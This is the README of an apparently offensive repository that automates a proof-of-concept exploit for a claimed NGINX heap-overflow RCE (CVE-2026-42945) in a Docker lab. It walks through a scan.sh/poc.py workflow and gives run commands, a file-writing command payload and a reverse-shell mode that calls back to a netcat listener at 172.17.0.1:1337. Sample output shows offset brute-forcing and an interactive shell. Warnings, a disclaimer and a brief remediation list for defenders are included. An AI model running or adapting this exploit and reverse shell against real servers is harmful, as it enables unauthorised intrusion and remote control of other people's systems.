⚠️ Ethical & Legal Warning This tool is only for authorized and legitimate security testing — contracted pentests, lab/CTF, or your own assets. Using it without the system owner's permission is a criminal offense (ITE Law, Computer Fraud and Abuse Act, etc.). Users bear full responsibility for its use.

📖 Vulnerability Summary

CVE-2026-42945 is a Remote Code Execution (RCE) vulnerability in the NGINX "Rift" configuration — a heap-based buffer overflow bug in the ngx_http_rewrite_module triggered via a specific location block (/api/users/...). The impact is that an attacker can execute commands through the system() handler inside the container.

This repository contains 2 components:

🏗 Workflow

┌─────────────────────────────┐
│         scan.sh             │
│  Mode: auto / cmd / shell   │
└─────────────┬───────────────┘
              ▼
      [0] Preflight
      cek docker, curl, python3,
      nc, timeout + poc.py ada
              ▼
      [1] Verifikasi Target
      docker ps (label compose)
      → curl /api/users/42 (HTTP 200)
              ▼
      [2] PoC --cmd (max 3× retry)
      python3 poc.py --cmd 'echo hello
      from depthfirst > /tmp/pwned'
              │
              ▼ (timeout 300s per attempt)
      Verifikasi ground-truth:
      docker exec cat /tmp/pwned
              ▼
      [3] PoC --shell (opsional)
      listener 172.17.0.1:1337
      → prompt /bin/sh interaktif

⚙️ System Requirements

Operator (host where the script is run):

• Linux (bash) — tested on Kali / Ubuntu / Debian
• docker (with sudo or a user in the docker group)
• python3 + poc.py (in the same directory as scan.sh)
• curl, nc (netcat), timeout (coreutils)

Target (lab):

• The nginx-rift container is up (provisioned via docker compose)
• Host port 19321 is open on 127.0.0.1
• Container is connected to the Docker bridge (default 172.17.0.1 for the host listener)

📥 Installation

# 1. Clone
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift

# 2. Pastikan executable
chmod +x scan.sh

# 3. (Opsional) Verifikasi dependensi
command -v docker python3 curl nc timeout

scan.sh and poc.py must be in the same directory.

🚀 Usage

./scan.sh          # alur lengkap (default: auto)
./scan.sh cmd      # hanya PoC single-command + verifikasi marker
./scan.sh shell    # langsung reverse-shell interaktif
./scan.sh help     # tampilkan bantuan

Mode auto (default)

1. Preflight — check all dependencies.
2. Target verification — container up? HTTP 200?
3. PoC --cmd — write the hello from depthfirst marker to /tmp/pwned inside the container (automatic retry max 3×, 300s timeout per attempt).
4. Result verification — docker exec cat /tmp/pwned must contain the marker (ground truth, not just reading output).
5. Prompt continue to reverse shell? → y for an interactive session.

Mode shell

./scan.sh shell

Runs poc.py --shell with listener 172.17.0.1:1337. After a successful brute-force, you get an interactive /bin/sh prompt as the NGINX worker user inside the container.

Note: The IP 172.17.0.1 is the host address on the default Docker bridge. If your bridge is different (docker network inspect bridge), change the LISTEN_IP variable at the top of scan.sh.

🔧 Configurable Settings

All parameters are gathered in the configuration block at the top of scan.sh:

📸 Example Output

┌──────────────────────────────────────────────────────────────┐
│  NGINX RIFT · CVE-2026-42945 · PoC Automation Driver  │
└──────────────────────────────────────────────────────────────┘

── 0 ── Preflight
[+] Semua dependensi tersedia (docker, curl, python3, nc, timeout, poc.py)

── 1 ── Verifikasi Container & Target
[+] Container 'nginx-rift-nginx-1' berjalan
[+] Target responsif (HTTP 200): http://127.0.0.1:19321/api/users/42

── 2 ── PoC Single-Command (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] Target  : 127.0.0.1:19321
[!] Percobaan 1/3 — brute-force loop berjalan (timeout 300s)...

[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] Percobaan 1 selesai dalam 42 detik (rc=0)
[+] Exploit BERHASIL — marker terverifikasi: 'hello from depthfirst' (milik root)

[?] Lanjut ke reverse-shell interaktif? [y/N]: y

── 3 ── PoC Reverse-Shell (--shell)
[i] Reverse shell akan terhubung ke 172.17.0.1:1337
[i] poc.py membuka listener netcat lokal lalu menjalankan brute-force

[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)

🛠 Troubleshooting

🛡 Remediation (for Blue Team)

1. Patch NGINX — upgrade to a version that fixes ngx_http_rewrite_module / remove the Rift configuration.
2. Limit exposure — do not expose container ports to 0.0.0.0; use an internal network + reverse proxy with a WAF.
3. Least privilege — run NGINX workers without extra privileges; do not run containers with --privileged.
4. Monitoring — alert on unusual requests to /api/users/ (non-numeric patterns, long payloads); detect /bin/sh spawns from the nginx process.
5. Network segmentation — separate the container bridge from the host; restrict container egress to make reverse shells harder.

📁 Repository Structure

CVE-2026-42945_NginxRift/
├── scan.sh     # Automation orchestrator (bash) — verifikasi, PoC, verifikasi marker, shell
├── poc.py      # Exploit driver (python) — brute-force heap offset, mode --cmd / --shell
└── README.md   # Dokumentasi ini

⚖️ Disclaimer & License

For legitimate use only. This tool is intended for:

• Professional penetration testing (written contract)
• Security research & responsible disclosure
• Lab / CTF environment

You must have written permission from the system owner before running this tool on any infrastructure.

The repository is provided "as-is" without any warranty. Contributors are not responsible for misuse.

License: MIT

📚 References

• CVE-2026-42945 — NVD / MITRE
• NGINX ngx_http_rewrite_module — official documentation
• Docker Compose — documentation